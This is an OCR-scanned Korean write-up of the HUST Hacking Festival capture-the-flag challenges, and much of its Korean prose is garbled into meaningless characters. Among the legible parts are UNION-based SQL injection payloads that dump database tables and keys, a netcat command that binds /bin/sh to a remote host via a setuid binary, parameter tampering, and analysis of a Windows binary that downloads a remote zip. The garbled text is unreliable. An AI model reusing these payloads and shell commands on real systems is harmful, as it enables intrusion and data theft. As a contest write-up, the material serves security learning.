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{0x01 Challenge A}

=H
#Point +100
p& : http:/f220.95.152.185/gaara_karin_kz/b.exe

oYe CIRELSA Z0|5t= Windows HFO|LH2| =X QL|CH.

-:!E? E2TM SO, A, = 2R 2l 01 ES SEEHE A E.
=I(Q): [notepad ]
[ = | [ #x | [zO0=E3E. |
4= 5 NotepadE E ULt

dgiLf, oy ZT21WS A5 032 T2 W0/, notepadS LB T
d Y | Of ALY

S
=
d3BE, Ao 2 IjAQEE QUstn T 2L ACH

B A= glsS -HEE

bRy HEE) M
HI_HUST_HELLOY

Password : HI_HUST_HELLO



{0x02 Challenge B}

=H
#Point +100
http://220.95.152.211

ZHO[X 2 HZiM ZXME HEsts & M YL

PHPSE S0 agh ot

LE= AMOIEE oot =M YLC

qweqwe'—'
ZZFEDME -

Foney: 1500 Paint: 0
= 0=
U&= Money2 & OjMst S8 FOi7F 27ts L L
131'4 O|RF 20N FLHZ &0t 252 F0iSt= 0| Key Point?! EX & L|CF.

dE RYER 2A Y W=
EE"
o

a2 ZHO[XE 22T, 0/ME| BHX|ZF JARASLICE

AN AN H
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0| HEoz $h AlE sEA} MZID, J|Ega BIRY|S AR LT

AN H

pcode[] &383010
jcodel] [
chk[] 0
pcode[] &889039
jcodel] N
chk[] Il
pcodel] A889051
jcodel] N
chk[] 5
pcode(] &839095
jcodel]

pcode[] &B89063
jcodel] N

=M 0 CHgt Key Points 7t &2%H 242 Parameter0f =X &L Ct.

o
pcode= =0 i3t A E, jcodes M EF, chke IndexH

ALMS| AR jcodest EXSIA| s HE0| 2 LT
=0 0YRE| HIXISE0) Cfst 2EelLC
=

20| peodelt 7kX[1 7kA0| EXot= =52 pcode?t WA= Zut,

_

Windows Internet Explarer

!E gl = REIE[A] 2 E W =-45000: HESU =S U001 2R5HA BSLICH

SZ0| Ch 2D MYZS E O #IASICH= A =olst
=)

|- | =/ _)F
Jde2i M Parameter otH O =2tQISHE L, jcoded| FAldZ &2 = UYUSLICH

3700
...... 4200
4000
...... 6200
........ 7500
........ 6600
4800
..... . 5800
.......... 5500
......... 5600
........ 5300




MEUZ2 45004202 S F OFgtLCt.

J2{7| W20 SHEE 2™ 500 2 ML, .......... LT}
2| HEQ= 4000914 420010 4000, 48002 2AHAM SEMHOIEZ0 ==
(74 R 2 L|Ct
JajM MEZ 45000 Cist codes ...._.....7b EL|CH
pcode[] A883035
jcodell Lol

Of&A BHH=1, FH7L E7IE A= RsLh
Al ZAat

PSE=I BB pe

AEDC Az 2w =2 W
AEE9095 HE R BIE[A 2AHE W= 0 4500 u
ZH 2% 0

Cezza C zosz2h
ZHIstAIZ SUN?

ORA2| HIX|Z7F Y&H oz FHLO Hordl AS =g & A

OfAtm O@mz|L| sigoz ArH MEg 4500R0] &0[1, AL ACEEH HA

AL
BRI E A 4 QUAE.

= LI

~
A

L

== A% 20t MY B[R HXIE FOiSHE O] 2 LT

Yifindows Internet Explorec %

' "_n., KEY : by _narne_is_cl
[ ]

Password : My_name_is_cl

ps. N7t 2R E T A|, Key : My_name_is_~~n~, O{F D K&K D QAO0{A..
O NN 20 7| S50 e HEtTH L. H{EAH 552 }X|CL.

2 2% F9.



{0x03 Challenge C}

=H

#Point +100

http: /220,955,152, 185/hidan_sasori_at/password
HIMT : Steganography, Don't care BMP,

ot Exle AYIE(LH 72 D) EX YL

Of/Et 2L o] EX= 8% & =/UsLIth

£.11"I_2Ma9]-(R1

M[Hh|E] | Ta

(ITh-31*Jg
onETinE you goTTa 4AcT likE wou don'T cArE. Dg

SOPHM AEREH, WAES 252 + ARSI CH

Password : somETimE you goTTA AcT likE you don'T cArE.



{0x04 Challenge D}

=Ml

#Point +200

bitp: /220,955,152, 132

admin
21d0acabl7066785986d4ea3deafzc7 2

HMAME 2olX|T, dM=zs AEX T2 ESLTh

— LBy

OF
on
Mo
R
rir
[
Mo

Made by LeeSangSupikirhi)

PASSWD :

|  SEND PASSWORD KEY |

[isgue the identify keyl

o QlHO|X|ol= Fel7tel WAJAES YHS AT, O IHARYET FAAUX|

2SI

1 DA E L= “issue the identify key”El= OjHE O|838IH ¥ = JUSL|CH

IDENTIFY KEY

NAME :
PHONE :

NAMED} PHONES Ql2ittr| NAMED} PHONEO| OF=22f ZfS Qlaisigm,

You're not Admin.. BUT You are lucky—!

here are verygkind(?) of picture—

ah—7?7 W nana milk?—

-8-



EHOIX|E #ddts &, ZHM EA=0l.. "Made by LeeSangSup(kirh4)"2t=
= t L

|
o
=
>
=
m
=2
rir
=
D
()]
wn
Q
-}
(@]
wn
C
-O\
o
n
<
N
-l
ll
I~
|

IDENTIFY KE?VAE.JE";‘.GE

NAME ¢ |LeeSangSup
PHONE : [asdasd
KEY YaLUE ISSLUE

2%, S22t StHR. ALt keyS FOTSt2 2RO LT
2LE, CH=IOM smsAH|AES O[otH izt DtEX|= 22U Ot0f AtEd}
X AUSH LD Ruled|= 2EX| =X}20F QS0 SHL|CH.

2 o2, =l 880 EZ Defcon CTF 17th0jjAf OIO|L|E CIELEHLE =
ciotdo| AUS L

XpAlo| ofo|m|7} 192.168.123.250 IL|C},
Ag 16712 .2 NIsta 192 CO, 168 A8, 123 7B, 250 FAO| & | &l L|LC}.
d8 Ais 10%+2 nyLC

gtolenbwtefdserveral2Z ~]% noc -1 1111
*R.
[stolenbytefserveral22 ~]% nc -1 9399




stolenbytedserveralZZ ~]% nc —l T

ThbhY5ifdaldef3944355£45065453
Ol2AoE EES Yoisn, HES SIU TTIESOIN Dot HAXI 2L

J2iLt, Ruleol= 7S 10t SZ2sfatn stLict
Z2IY BHSO0RHESE YD RO £O= wICH WEM, £H Diof 43
LI

Made by LeeSangSupi(kirh4)

PASSWD : |Dbcb?88d31 SeZadf /024153860941 5529

| SEMD PASSWORD KEY |

[issue the identify key]

Of&A {AAES Y=ot HO| LtztaL

= A H

The pazsword iz [HAck3bs_453_0n3l1 ]

Password : H4ck35s_453 0n3!!
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{0x05 Challenge E}

=

#Point +200

http: fffestival hust.net: 9580/

admin
ORacd129eSa6a7daffd230af0a282a14d

o Exl= =AM YLICH SQL Injection 2 X & L|Ct.
g2l = + AU, A &2S M 2% Or|ZE S LI

ofg{et ZHO|X|7} U5 LIC.
Jteg 2ok fld, o[ A7IoE FFE2 AN SEE = YAASLICH

AN 2 SR AAEHZoZ SRS
o

A AlEHO| SQL Injectiong A|E 3L
== A s o sz x3

S0L#E20 2EM SUCH Ml ZSLICH 7 order by no desc limit 010 M 2421 1)
SQL Injection0] sl HE =0l & 4 UALLICH.

-11 -



1 3 2 T 0

notice+union+select+1,2,3,4,5,6,7,8,9,0

1 test_board

1 test_members
1 test_notice

1 url

notice+union+select+1,2,table_name,4,5,6,7,8,9,0+from+information_schema.colu
mns-+limit+0,250—

1 no

1 title

1 content
1 real_name
1 wir_name
1 wr_date
1 wr_time
1 wr_ip

1 vigw

1 name

1 passwd
1 email

1 team

1 join_date
1 join_time
1 join_ip

1 level

1 url

1 urlz

notice+union+select+1,2,column_name,4,5,6,7,8,9,0+from+information_schema.col
umns+Ilimit+0,250--

O|EA 4Z HOl=x ZE HOIHE &5 &+ AL, & = A= Ao gl
LT}
ALt urlH Ol =0 A= F27t Key Point7} & A EH A L T

1 LashZnRlcmdpomxz 2 T ]

notice+union+select+1,2,url 4,5,6,7,8,9,0+from+url+limit+0,250—

-12 -



J~aftergirls

“ter text below to be decaded

L35hInRlcndponx=

Base642 £l 2R Z0|FL| FATL 3Lt O LigaLch

[t

httpe/ffestival.hust.net: 9580/~ aftergirls/

adgjLh, £ 22 SHO|X[7F LIt Of 2E0AM B2 AFEHS0| £/UE A
gLt © 271 "EtM HO|HHO|AE CE 0= *07—.*% off, sfie =20
Eet AAEE SERISLCH

1 zalution_key 2 T ]

notice+union+select+1,2,table_name,4,5,6,7,8,9,0+from+information_schema.colu
mns+limit+0,250—

1 key 2 T ]
notice+union+select+1,2,column_name,4,5,6,7,8,9,0+from+information_schema.col
umns+limit+0,250—

1 3 2 d2hlbZR=c2Z2qoWilvbGFIbGRIZ A== ]

notice+union+select+1,2,3,4,5,6, key,8,9,0+from+solution_key—

M7t ol F=0M 25 Rl keyE A MM X EUASLICH
e O|'|C'>r7|' X2 M= & o|lAS i UCH7E 53] HZLtM LS Eol
HeHoh

Base642 L|O{QUe= A C|A LB, “wheodisfigmrlawldud” 7} Ligt&L|Ct.
MS Word2 ZtMsh=0|, At “RC{QI2{EZLX|F"C 2 HHH O] A% JEHEHEQ.

Password : wheodIsfjgmrlawldud

- 13 -



{0x06 Challenge F}

=H
#Point +200
http://220.95,152.232/
e 2Me A=A, 4T =X OfLE =AM L Ch
SAX|T, OFRE of OFA ER=AX] OliE & Xotl Ues SEfRILCH
Dl’DlEl:hi [AZENAJIZH
HIgE & FZMINA

327 108 B2 (= 158:00 - 102 (5 15:00

SRR [waas Bl
AZHAE A R ZFJFE. PCEE [HE = RS0 JFSTHPCHM 2FS

HO[X| & &gt HOIXE = HAM 2= HO|X|Z&LCt.

THUES SHEA M 2205t ZMAHR, "eZUY oA 0 £H
T@gots YOl LU

w0

=
=
22T

HUSTIHEF SMPEHIHH THEE £21 = = 039 P2 E SHOISHH Z2ME FHL,
=

F
A s [ RS LR =d4= 0IgH JIE22 =42 S Olelct Ol F
=dc HEE< ISE OIEHIIES S =MER AlFHI=H BN F2 AEEMNAM =2
ZEHE EIEEDIE‘ 2 o RUH SN MO SHECH SENSH e 2H = S0 2201 &=H
TEA 220 2he =52 DREEH =&S ME H &20) Lt 02 SsEcl it SEE0 A2
2rEl= A LCHEY & = SL2AICHE M % OIZHI0IES A= §H 8 ATHECHL O =4k
=0 22300 = S0k 220 2= sta2 il B= B2H=E I=HIEE §H =

Elspuny

GREAIEF OIS =2 HEHAM SHI WS B0 HHEDH 3S0SH M 2HEE B0 I =
IO =W DEEHE 2= 88058 SHOFSH=E. ﬂﬂDI AN SHAA ZFEHLE

O 2132 LA HA A S0 27101 HA 2SS ZapALE, 2=I0) CF & 2212
w=E 2SR 2NETDI2kE OHICIP 2HE °'°5‘|J_ SACH SHACE AZICHE

= BHE0| FR Z=A =2 E =7 HCHH 1-Doldt W2 BEHE 5 20| SAH0 20 sEASE
O B2 SMUEHHO|TMERE AZH0l XA 20k 015 HFGH0F I

=4 1. F 48Nz +ZLEsoretCt.
=4 2. 2Es Moot OE /22 EUZ 444 Ol 0| AT HEIC
=24 3. 882 1, 200 0| BlO{oFetCt.

- 14 -



A 4. M7J} E& “LDolnt WY

x711,2,32 ¢, =AU 47}

|-Dol 2t #E<

090421 302

ZHA|
090905 301 f(x) JI=
080525302 SHINee 2| 0l of
051106301 Superdunior =+
031226 303 P Language
1,2, 39 =42 Ch21t

=l jin]

Y 42

090421-302 I-DolT} THEO| T
950214-303 SMOIE{E|O|HE 3 23 100 A K| 0|20t
O =712 AlZtO] AX|A El&= Al

e
A —
HAE T z'sk_/'\_ =1

= =
Jd2|0 $ZAHS 9=

63

40|

Krystal
H&2

Jung
H&3 Z &

M &3 E.L Friend

S|

(i}

13 014

!

Z=LCt

S Ot LT

ncrE

29 = 12C405

212  A503

=34 E401

2} 67 = 40419

= 123 D312

L

M3AotA U

of e HOol=0| M= XA

- 15 -

&L|C}

O| ZtA|"Q} “SMAE{E|O|HE"S ZAX|A

rir

222100 AN AAFE 2H9&212 C405

HOEH 0|20 =2l I AELlE IndexgiO]id,

24
090421 302
090905 301
080525 302
051106 301
031226 303
2134223 D420
Azt



A AT O X[0f| A “I-Dolut HF| 2A"E

R

2L}, chkap gha=
=0 = Hol=0
O|2 Qo +=Z4d

HS 2 Olsl 7|

MY mot rir FE

I
+>

2 A "SMRAEH|O|HE"S

POST haksul] 950214
POST bunban(]
POST  chk]] 1]
POST haksul] 030305
POST  bunban(] am
POST haksul] 030525
POST  bunban(] a0z
POST haksul] 051106
POST  bunban(] am
POST haksu(] 0N226
POST  bunban(] 303
POST chkcnt 1
St S HHYZEHEIOM AHE Al

= 2 MEo AMdE =X X2 E
TH= b B O] A=A0|=
[, “I-Dolu} & 9l

JEEEE

=

!

Ot

ol
PN

2A"e| 1p=0f C

J

St A

—

L|C}.

e} A
s=g 4

UA ELE
POST
POST

PasST

hakzu(]
bunban(]
chk(]

950214
anz

100710

-

Windows Internet Explarer

#2H0| 225 S &L

b./

=HO|

= -

- 16 -



o
a= =S ZONZ  Zed AL

stats g BAZH ou UE 22
031226 303 P Language HE 3 0] A2 =123 b31e
051106 301 SuperJunior 2% FH 3 E.L Friend SHET=4 D419
080525 302 SHIMNee2] Olaf PRl 3 & =3 E40
090421 302 [-DoldF TE2 2R HE g TAE =12 405
030305 301 fix) & HH ¢ Krystal Jung ZH2 &E03
950214 303 SMHEHIDIHE HE 3 0] ==8F 2h3=23 D420

W} MEsHES D I6EE (635 )

Password : We are living in the SMTOWN
Ps. K& OIO|CI7HX| “&7'7t Elojopses Lm "a"ete OlO|C|2 BB

C}.
"OIC|Z7EML]", "z=FOF" O|ZOtO|L| S 2 L th=

17 -



{0x07 Challenge G}

=H|

#Point +300

http://220.95.152.185/nara_sikamaru_fr32/Prob.html
O] E8|= Flashe| AAZ H1 T B QL|C

User ID:

User PW: | Login [

OfO|C|et jARIES YHE=O, WA/AET HIZ O =XQ B RLC

if (tUserID.text == "admin" && tUserPW.text == decrypt())
{

Alert.show("Login Success");

Alert.show("Login Failed");

}
decrypt(2te &
decrypt()2t= o

[

o

P o

[=;

L

rr nx

=
—

Ol Hlws{M Z2o@ E[=HYLICH

& 4

10

=
A

private function decrypt() : String
{

var _loc_1:String =

"7b283889fd6bb335f5c2b8b20314fe02ec524297461f5ce8436d8c27d9d03738";
var _loc_2:* = Hex.toArray(_loc_1);
var _loc_3:String = "b88c4cf88123ed83dfadb4853abcc6994625";
var _loc_4:* = Hex.toArray(_loc_3);

var _loc_5:* = "rc4" + "-" + "ecb";

- 18 -




new PKCS5();
Crypto.getCipher(_loc_5, _loc_2, _loc_6);

var _loc_6:*

var _loc_7:*
_loc_7.com.hurlant.crypto.symmetricICipher:decrypt(_loc_4);
return Hex.toString(Hex.fromArray(_loc_4));

}// end function

RC49| ECBRIA!I @1, PKCS5()2 I & =[O Q&L .

0z A s 3L, Flex0| 1 FlexZ sj2X0| SO{N 0222 HAXY, &
=]
=

ZH AIO|EE L7SHAl & A Decryption2 &L L

Encryption: RCa v | Mode: ECBE ¥ | Padding: PKCS#5 ¥ | || Prepend IV to cipher text
Key Format: | Hex -

7b283885fdebb235f5c2b8b20314f022c524297 461 5ce8436d8c27d9d037 328

Cipher Taxt: Hex v |

bE88cdcfa8123edacdfadb48553abocs994625

Plain Text: Text v

Mot first but best

Password : Not first but best

- 19 -



{0x08 Challenge H}

=H

#Point +200

http:/f220.95.152,.132

adrnin
21d0acebl7066785986d4ea3deafzc7 2

= BANE 20X EE S X AAEO| phpotEs HOAM EES
oM 2XME =Z0{0F o= =X L.
= g2l= 2MoIEZ, o] Z2ME Sl HE = = UXIT 0|0 DE &

include 0| Z=xfst I TS e =2 WOWHACKERY bOBaNa'd O]
Aot A7t EME L

rE

Web vulnerabilities to gain access to the system_tranlated by bOBaNazt= A&

HH S&29 gA2] phpldE oS = UASLICH

gLt HEz2= 2 E717F &K FEL
IsE€ S|EL|, HINT_ READMEZ}t= Zd0| =X|MESL|Ct
Q10| L, "go /home/bof 2t 1 Z|O{QEL|LC}.

total 1236

-rw-r——r—— 1 apache apache 0 2009-10-08 16:43 1.ttt
—rwar—xr—% 1 apache apache BZ24931 2009-10-08 11:17 a.out
-rwsrwsr—% 1 sniffing B0l B2R013 2009-10-01 10:53 BOF

—r g ————— 1 sniffing =01 18 2009-10-01 16:15 key,bat

7471 HAXM = HO[HE| 2 keyL} 0| EXHESLICE
Jd2jA ncE2 AR ZE HAZASHAM AKX setuid7} d2{Q+= BOFLIYEZ S8 BOF
£ o0 &2 A keybatE el oLt AXE IHX| ZHEL|CH

=

UG PHAME HEYBLCE
nc XXX XXX XXX XXX 8888 -e /bin/sh
O|EHA AHABYA socketsend/ncsockO| root setuid7} ZA2{JUq=24d =0l MESL|LCL

- 20 -



CITtE FU key
QIO || L},

AN AN H

Password : you_are_the_one

-21 -



{0x09 Challenge I}

=H

#Point +200

bttp: ff220.95,152, 167/
of Ex&= & EX Lt
defLt & E0lgt HEM & LICE

arolc) ;|

==
1=}
[
|-Cil

2102 7tg= Sl of0|E[E W=0M 22= diELIC,

Find hidden

Float pointing

Content
EE= = 12
HE D H= Er e B
11 @mereuan  [|HHIF S ELICK 2009/09/16 | 914
10 @chigrmoon SR04 200909116 || 737
il @chizmoon || 012 CH 2T EE5ZC0H 2009/09/16 || 743
g GRerwie || 25 SNosulbitNi2] 1I0ZE P RILICH 2009/09/16 || 725
7 Gadrmin |[HE= BEIFHILICH 2009/09/14 || 729
& @chizrmoon | AR AR OIHIHIH] 2009,/09/14 | 717
5 @hust T4E 28 200909714 || 722
4 Grenwie  [|OE14 2009/09/132 || 686
3 GRenwie Lt DIES IO ..rrer 2008909/ || 776
12

HO|X|£ H ™ Float pointingO|2t1 Z|0{ QUL ].

e — O =L AL

olEQl A ZOtA Parameterg2 ZZISHEELICE

http://220.95.152.167/tempboard.php?nowPage:1.5% UHEMZ M, KeyE XN

1 Ae AM=2 A 22 = =0 EQSLICH

- 22 -

oA
OF


http://220.95.152.167/tempboard.php?nowPage=1.5

EEE = 12

H I H= St Tl
f @rhizrnoon || A EEELREH QIHIEIE] 2009/09f14 || 717
5 Shust eI 20090014 || 722
4 SRenwie Mg 20090913 G365
3 GRerwvie  ||Lt IES] DD .o 2009/09/13 || 776
2.5 & 101100 Access 2009, 1006 lala}
2 GlastPage | EHMSTLID 2009/09/13 || 730
1 Gtest # ZULICH 2009/09/12 || 745

AccessEt= 22 Aol A =G,

prob=dsdkc0kmppbhzrcStegfr3efss
PHRSESSID=dsdkeOkmppbhZrcSttgfr3efss

Set expiration date:

Delete Set Cancel

AtMB| 2L F7|0f probO|2t= 20| ¥7[=x .

OtFE| sz 25 &= & BlZd F7|1& YL XM =2 &7 A= »sUCh

Do Mot Direct Connect! That's Denied
ol2{st MA|X|Z} Ligt& L Lt

A H

JefA "OF = HEO|PLE HRAZ.

-23-



ALt O 7|M ot X[HE F7|S CHAl EO{FEAM refreshA[7|L], FEO| A=
= k=)
= =

& ALt

ID: 101100 2009/10/06
2= password = ThelastDrop

.
Password -= |‘r§ ATHI

Password :ThelastDrop

=24 -



{0x0A Challenge 1}

=H
#Point +200
http://220.95.152.185/gai_hinata_ak/test.exe

0] 2X|= Windows HO|l{2| X QL|C}
et SRR T|etE AL TIEHE XD UM A =" = AL,

O
sHdEs A28 ot g EXHE & + USLHILh

Pl HZO7E 202 Stex 8.

MotHl MY & 20[= 107t MY EEOAM LY0|E =2RSLICH

>

2 HAIX|2A SpL

M Ot )= A=

- 25 -



21! xbfccleafff RS

Y

HAIX|SATE SPH7} er g,

= _

JdefM 2telg siEts L Ch
ASCII 3|5 A|=.. O] AT Eange
ascIl Q|3 F.. cc oHELSE w
ASCII “Good!"
ASCII “PEME"
ASCII “Good!"
nsScII v = S EFOMEEATOPREREZ EF I
ascri “fEfE"
ASCII “Good!"
ASCII & 1t BxBfccBeafff FHAIE E T
ASCIT " I SE SEHFALOIRIRIZIERZ A H A
ASCII “Good!"
ASCII “Good!"
ASCII "rundll32 uwser32.d1ll.LockWorkStation"
ASCII “Good!"
ASCII “Good!"

J2lo| 57 HE7F E|0{EO|H 8.

Zxohsh

OfH21 logouth|7| 31, OfHZ 2HBBI|E €D 2K gH!
JtEEast 242 "agol" &L ct

H7| €= fle g=2(ME2
=
o

HA
AHHFALOLRIXIFHELY | S S sl g st ot st otp 22 0| Boet 50N BiLt

=

017tE CH22ES e &7 A L.
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Eds 0012855 ASCIT "CoYwaw, zip”
ECH OOT2FEG4 ASCIT "Nttp: 129095 152 185/ aakura_kakuz_ak,uay, zip"

E7 URLOJA “CWwowzip'2 R7to| ms CtR2ELEBHL|CH
O CHREEE 2HotE L,

S

3%

ke, it

KMP - MPEG Layer3 Audio File

¢ .
O| Call Me2} key.txtZ7} =0{UH|L.
Z

keytxtE EL| ofifot = EZ1 0.

i=)

e 39 =zt

2 [y oo o

é

2
fr = 0o

HI

l_

39

ol

isu2 ol 2 = ¢ AFE ¥ Y Lk

irc oM 7|gZe] 21402 StH -0-; M7t EEAR ~_~)

AU K.
(220l S=0Y HI=oiM, AX| Qe =

=otote ZAOCHF 0 BE L

d

Hex dump ASCII

D? CA B4 DA|DB EF F3 DC|D6 DA E7 DD|D@ B4 DC FA | o suiiles el iy
D& D8 E? C9|DD BS D5 CC|Dé F@ FB E4|D8 B2 CD Fs|FisksShupiZol it
DC ED D1 EE|E? D8 EF CB|ES CB D? CD|D6 Cc? cb F9|IEtEn [ EEE=E
D& D8 EB EE|E6 CA CD F8|D8 F@ FB ED|ES EF CD Fn|f&izEiSna[DiEsE
DC EF E? DY |E? D8 EF ¢9|D1 DA FB EE|E5 D9 DD BS | i mtussniid
D6 D8 E6 FB|E4 Ch C8 FC|D? DA E7 DD|D8 B3 Cb B4|PEIAEES =g
DA EF E7 EE|E4 CA D5 CEB|ES CA F3 E4|D8 B3 CD F5|AEEHEIppEE O Hidt

DA EF E7 D2 |E6 CA DB FC|ES CB DD EC|E4 D8 CD Fa|AS{R{MiwEals] &

= O O L=- =
o=z ¢z EFHZ EoF1

O
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Address |Hex dump ASCII

BA12F864 |56 47 31 574D 6C 78 59(53 57 64 50 (4D 31 59 77 |UGLUM1pYSWdZM1Yw
BA12F874 |53 55 64 46|50 32 52 49(53 6D 78 61|55 38 4A 72 |SUAFZ2RISmxalB8Jr
BA12FE84 |52 6A 4E 6B|64 55 6C 48 (62 48 56 40|53 46 40 76 |Y JNkdUIHBHUJSEJu
BA12FE94 |53 55 68 G6B|63 47 4A 75(55 6D 78 6A |62 6C 4A0 77 |SUhkcGJulmxjblJu
BE12FEA4 |52 6C 64 56|64 55 6C 46 (4E 57 78 6B|62 56 5A 35 |Y1dUdU1FNWUxKbUZS
BA12F8B4 |53 55 63 78|61 47 45 79|56 57 64 5A |55 38 4A 31 |SUcxaGEyUWdZUBJ1
BA12F8C4 |57 6C 64 6B|61 47 52 48 (62 47 78 61|55 38 4A0 72 |W1ldkaGRHbGpalBJr
BA12FED4 |57 6C 64 4F |63 47 4D 79 (62 48 5A 6% |61 55 40 77 |W1ldOcGHybHZialJu

= O BNS 22 4 AYBLL

I ©
lob  opu

ot N

VG1IWMIpYSWdAZM1YwSUdFZ2RISmxaU0JrYjNkdUIHbHVJSFJvSUhkcGJuUmxjb
JwYIdVdUIFNWxkbVZ5SUcxaGEyVWdZU0J1WIdkaGRHbGpaUO0JrWIdOcGMyb
HZiaUJwYmICMG

ot =235} ot

TmV2ZXIgY3VO0IGEgdHJIZSBkb3dulGluIHRoIHdpbnRIcnRpbWUUIES5IdmVyIG1h
a2UgYSBuZWdhdGljZSBkZWNpc2lvbiBpbiB0

Of&A Lti, ot o oL 285 #& & AMSLEL

Never cut a tree down in th wintertime. Never make a negatice decision in t

of &

ujo
o

AP0l EolEt Rl B2 F2 AMo SO USLIh

Mever cut a tree down in .. - Quote by Dr. Bobert Schuller - [ O] HO/A B=5H] ]
Cluote by Or. Fohenrt Schuller, Never cut a tree down in the wintertime. Never make a negative
decision in the low time. More guotes by Or, Bobert Schuller ...

Password : Robert Schuller
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{0x0B Challenge K}

=

#Point +200
http://220.95.152.185/deidara_naruto_am/level_2.bmp
Steganography

HINT I
(R1,G1,B1,A1) - ((R1,G1,B1,A1) % 2) + (r1,gl,b1,a1)
(R2,G2,B2,A2) - ((R2,G2,B2,A2) % 2) + (r2,02,b2,a2)

HINT II
ri,al,bil, a1, r2, g2, b2, 32 = {0,1}
N=rl+gl1®2 +bl®4 + al1®8 +r2*16 + 9232 + b2*64 + 32128

ri=mN=u 2

T=r1
gl=(N-T)/2%2
T=T+2" gl
bl=(N-T)/4 %2
T=T+4*bl
al=(N-T)/8% 2
T=T+87%al

r2 =(N-T)/16 % 2
T=T+16%r2

g2 =(N-T)/32% 2
T=T+ 327 g2

b2 =(N-T)/64 % 2
T=T+64*b2
32=(N-T)/128 % 2

HITN III
pass.jpg 0| ZEEM 9S00
8 BIM
o EX= SIENA o mEtHALC
sl glol

= 7 e M2 HERY| iE YL
h
—

St
ofl
Mo
=

g8 =X E st EHAXDT, olE giol 2t 22 X0
0| SASLICH

N Al izl stepx(o S AE A LI
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Of MU0 passjpget= AEHIILO| &AM UL L

L2l S0l EasyBMP2t= Z10[2t SIEZF SEfRtEL T
d4ds Sl 2ds e

whilel !feof( fp ) && k < [H.NumberOfCharsToEncode )
i
/¢ decompose the character

unsigned int T = {unsigned int} [H.CharsToEncodelk]:

int Rl = P
T =0T - R1)F2:
int G1 =T % 2,
T=(T - GlI)a
int Bl =T % 2;
T=1(T- &)
int 41 =T % 2,
T=(T-41)2
int R2 =T % 2;
T=1(T-R2)2:
int G2 =T % 2,
T=1(T - G2/
int B2 =T ¥ 2,
T=1(T- B2y
int 42 =T % 2,
T=(T - a2)a
REBARI®E] Fiwell = «lmageli, |l

Pixel1.Red += {-Pixel1 Redf2 + R1 )
Pixell.Green += (=Fixell . Greenf2 + G1);
Pixel1.Blug += {-Pixell,Bluef2 + Bl N
Pivell. Alpha += (=Pixel1 . Alpha2 + A1)
+lmageli.i) = Pizell.

[+

if{i== Image.Tel Width{ )
{

i =0
IE2H
}

REBARpIxel Pixel2 = +|mageli, i)
Pixel2.Red += { -Pixel2.Redf2 + R2 ),
Pixel2.Green +=  -Pixel2.Green¥2 + G2 .
Pixel2.Blue += ( =Pixel2.Bluef2 + B2 );
Pingl2.41pha += ( -Pixel2.41phai2 + &2 )
+lnageli, i} = Pixel2;

[++]
[N

ifl i== Image.TellWidth{} )
{

i=0;

IEEH

}
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whilel !feaf( fp } &% k < 2+|H.Filesize )
i

char ol
Fread{gc , 1, 1, fphk

/4 decompose the character
unsianed int T = {unsigned int) o

int R1 =T
T =1(T-Rl2)
int G1 =T
T = {T-G1)2
int B1 =T

int 41 =T % 2.
T = (T-a13/2:

ra

ra
-

ra

ra
-

ra

ra
-

[ R e o e
[

o LR Ry B S R B R R I )
el L= | Rawniy | iy |
ra

B i

ju

-+
P e I R e
T

RGBARIwel Pixell = +lmage(i, i)

Pixell Red += ( -Pixzel1,Redf2 + R1 L
Pixell . Gresn += ( -Pixell.Gresni? + G1 )
Pixell . Blug += { -Pixel1.Blugf? + B1 ).
Pixell. &lpha += ( -Pixel1.41phaf2 + &1 1
*Image(i,j) = Pixells

i +4;

fob+

Ef(i== Image. Tel IWidthi )}
i=0;
T++;

}

RGBAPI®E! Pieel2 = +mageli,il

Pixel2. Red += { -Pixel2. Red%2 + R2
Pixel2.Green += ( -Pixel2.Greenf2 + G2 1
Pixel2 Blug += { -Pizel2.Bluef2 + B2 1
Pisel2. &lpha += { -Pixel2. 4Iphaf2 + 42 X
+lmagel i, ) = Pizel2;

[ ++:
kot

ifii== Image.TellWidth( )}

0742 A HOEE QALY Al7|= BEQLC
FasyBMPAAS O[fStCHE 127 of2]2 Z40] giBLICk

—
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Created on Febhruary 3. 2886 by Paul Macklin.
Uzes the EasyBMP library,. Uersion 1.86.
Licenszed under GPL v. 2 hy the EasyBMP Project.
Copyright (c>» 2886 the EasyBMP Project

Contact: http:-sseasyhmp.sourceforge.net

idden data detected?! Outputting to file pass.jpy ---
passjpgs HUCID SLCH

13 passjpg= O T12IQIX| 27R7?

1] Tl DON'T CAR = ’
i § nnanm 1ST MINL AlEUM

LIl - I QQQJ
T s

N JBE

TD DLLTTDE

R
oolnmoN

O|& £ 2NE1O|2fL|.. QrekstL|C.
CHY N U= 27Q..

AME ofLl HMoA H= & UARSHEL
A | B | C x| x| K
D | E | x| * M| N
G | H | I x| x| * P |Q

O

AeE O|HAZE O|R1 Uzt
O17|0] A SFLIZ7IE MAJAES 252 & AL

Password : i know that i am intelligent, because i know that i know nothing
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{0x0C Challenge O}

=H
#Point +250

HUST Hacking Festival 8thi BFE& =M He{ 25 =22 ¢IAME A=H =S8uUCh

i s WEHFH 2 AAHE.

Je4Er 20|HA SH HEHME HA HE HUSTHA 0|HE 2H S 5Ht ZH3HSLICH

T E HUST3R 7 OFEAT 0| HE FHE B8 a7tuA a2 dHu, Helot=H EeizMNEE
A FEAE ALE FEIME FRU .

HeE 7IAELCE~11

http://220.95.152.185/sarutobi_tobi/secret.zip

Of #X= O|HE ZH LICt

H2|2 223 F 5+ A= ML

2t OYS COR22ES5HH L7t AU ziphhe L[

A4 AR T2 WOZ RO L7t 6Xt2| "hu573r"S 2 Ligt& L CE

AZN 2 Ats2 2 HO{F= Dj3=2ef docht A0l AUASLIL.
229 ¥s ZOorRtsLICt

L2

HZ= - FOF ofBA El7of. o] S2|Eot

S|AE : O|A 9ff o2, <ff o|2] ME. THl Y

HZe @ AlZto] gicta. ChE AMESO0| X|n S2ten T HO|of...

PRHE Eo 2Y

S|2E : J&jf. S5ICL] o + SlZ. HoAl 2ot BES MSZHU.
E Xotdztn..

o
g
%

o
rE

S|2E @ ATh OA 2 QAX? W7t EE Al FX EE ks A22.

SAE : 0f7] Wop. 0|22 NOP7HR HIHOL
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HzZz : Mof. HHdt=Aop? otFA = QUAILE? WSHA o] EMEIIZ[Z o
Hotztet= 7{of.

SAE : W SHHAL. Weh ¥ HE HUMHOL U7} JlopE 22 AW ¥
2F3 QUFOF..
SAE : U7} SR SHX Y2E ¥4 FH AN, ITCHD IPA {F
ofuAl Yz ars ¢

SI2E : SH| ¥ =514 HrErL1|. EEHSH xHe ME0| sfL QS ZHA|.

= I —
01*'5 : @28 HlY Lo TFo...
il

